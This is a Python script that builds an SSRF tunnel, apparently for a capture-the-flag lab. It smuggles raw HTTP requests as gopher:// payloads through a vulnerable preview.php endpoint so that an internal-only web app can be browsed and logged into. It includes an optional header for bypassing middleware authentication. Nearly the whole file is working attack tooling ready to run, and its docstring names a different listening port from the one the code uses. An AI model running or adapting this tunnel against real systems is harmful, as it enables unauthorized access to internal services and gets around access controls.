#!/usr/bin/env python3
"""
Local SSRF tunnel front-end.

Point Caido (or a browser) at http://127.0.0.1:8081/<path> instead of the
real internal target. Every request that arrives here is:
  1. turned into raw HTTP request bytes (method, path, headers, body)
  2. gopher-encoded (double URL-encoded, to survive PHP's $_GET decode +
     curl's own gopher-selector decode)
  3. sent through the vulnerable preview.php SSRF as the `url=` param
  4. the raw response text that comes back is parsed back into a normal
     HTTP response (status/headers/body) and returned to the client

Cookies, POST bodies, and arbitrary headers all flow through transparently,
so you can browse/log in to the internal-only app as if it were directly
reachable.
"""

import http.server
import subprocess
import urllib.parse
import re
import sys

SSRF_ENDPOINT = "http://10.129.184.38/preview.php"
TARGET_HOST = "0.0.0.0"
TARGET_PORT = 10000
LISTEN_PORT = 9001

# Headers always injected into the smuggled request (e.g. the middleware bypass).
# Leave empty ({}) if a given path doesn't need it -- it's harmless to leave on
# for everything in this challenge, since it only affects middleware-gated routes.
EXTRA_HEADERS = {
    #"x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware",
}


def gopherize(method, path, headers, body):
    lines = [f"{method} {path} HTTP/1.1"]
    for k, v in headers.items():
        lines.append(f"{k}: {v}")
    lines.append("")
    lines.append(body or "")
    raw = "\r\n".join(lines)
    once = f"gopher://{TARGET_HOST}:{TARGET_PORT}/_" + urllib.parse.quote(raw, safe="")
    return urllib.parse.quote(once, safe="")  # second layer for PHP's $_GET decode


def fetch_via_ssrf(gopher_payload):
    full_url = f"{SSRF_ENDPOINT}?url={gopher_payload}"
    result = subprocess.run(
        ["curl", "-s", "--max-time", "15", full_url],
        capture_output=True,
    )
    return result.stdout


def dechunk(data: bytes) -> bytes:
    """Strip HTTP/1.1 chunked transfer-encoding framing, since the raw
    gopher-smuggled response never goes through curl's normal HTTP parsing
    (gopher isn't HTTP, so curl hands back the exact wire bytes)."""
    out = bytearray()
    while data:
        idx = data.find(b"\r\n")
        if idx == -1:
            break
        size_str = data[:idx].split(b";")[0].strip()
        try:
            size = int(size_str, 16)
        except ValueError:
            break
        if size == 0:
            break
        chunk = data[idx + 2:idx + 2 + size]
        out.extend(chunk)
        data = data[idx + 2 + size + 2:]  # skip chunk + trailing \r\n
    return bytes(out)


def split_http_message(raw: bytes):
    """Split raw bytes into (status_code, headers_dict, body_bytes) for one HTTP message."""
    head, _, body = raw.partition(b"\r\n\r\n")
    lines = head.split(b"\r\n")
    status_line = lines[0].decode(errors="replace")
    m = re.match(r"HTTP/\d\.\d (\d+)", status_line)
    status = int(m.group(1)) if m else 502
    headers = {}
    for line in lines[1:]:
        if b":" in line:
            k, v = line.split(b":", 1)
            headers[k.decode().strip()] = v.decode(errors="replace").strip()
    return status, headers, body


class TunnelHandler(http.server.BaseHTTPRequestHandler):
    def _handle(self):
        length = int(self.headers.get("Content-Length", 0) or 0)
        body = self.rfile.read(length).decode(errors="replace") if length else ""

        headers = {k: v for k, v in self.headers.items()
                   if k.lower() not in ("host", "content-length")}
        headers.setdefault("Host", f"{TARGET_HOST}:{TARGET_PORT}")
        headers.update(EXTRA_HEADERS)
        if body:
            headers["Content-Length"] = str(len(body))

        gopher_payload = gopherize(self.command, self.path, headers, body)
        raw = fetch_via_ssrf(gopher_payload)

        # curl -s returns only preview.php's body, which IS the smuggled raw
        # HTTP response text from the internal target -- one message, not two.
        if not raw.startswith(b"HTTP/"):
            self.send_response(502)
            self.end_headers()
            self.wfile.write(b"tunnel: unexpected response, see server log")
            print("[!] Unexpected response:\n", raw[:500], file=sys.stderr)
            return

        inner_status, inner_headers, inner_body = split_http_message(raw)

        if inner_headers.get("Transfer-Encoding", "").lower() == "chunked":
            inner_body = dechunk(inner_body)

        # Any reference (header or body) to the internal host -- redirect Location,
        # or literal links inside e.g. Apache's own auto-generated 301 HTML page --
        # gets rewritten to point back through the tunnel. Without this, following
        # a rendered link (Caido doesn't auto-follow redirects) sends the browser
        # straight at TARGET_HOST, which isn't reachable from the client machine.
        # Skipped for compressed bodies (e.g. gzip) -- it's binary at that point,
        # not text, and a substitution would corrupt it instead of rewriting a link.
        target_ref = re.compile(rf"https?://{re.escape(TARGET_HOST)}(:{TARGET_PORT})?")
        tunnel_ref = f"http://127.0.0.1:{LISTEN_PORT}"

        if inner_headers.get("Content-Encoding", "").lower() in ("", "identity"):
            body_text = inner_body.decode("latin-1")
            body_text = target_ref.sub(tunnel_ref, body_text)
            inner_body = body_text.encode("latin-1")

        self.send_response(inner_status)
        for k, v in inner_headers.items():
            if k.lower() in ("content-length", "transfer-encoding", "connection"):
                continue
            if k.lower() == "location":
                v = target_ref.sub(tunnel_ref, v)
            self.send_header(k, v)
        self.send_header("Content-Length", str(len(inner_body)))
        self.end_headers()
        self.wfile.write(inner_body)

    do_GET = _handle
    do_POST = _handle
    do_PUT = _handle
    do_DELETE = _handle
    do_PATCH = _handle


if __name__ == "__main__":
    addr = ("127.0.0.1", LISTEN_PORT)
    print(f"[*] SSRF tunnel listening on http://{addr[0]}:{addr[1]}/")
    print(f"[*] Point Caido / your browser here instead of {TARGET_HOST}:{TARGET_PORT}")
    http.server.HTTPServer(addr, TunnelHandler).serve_forever()
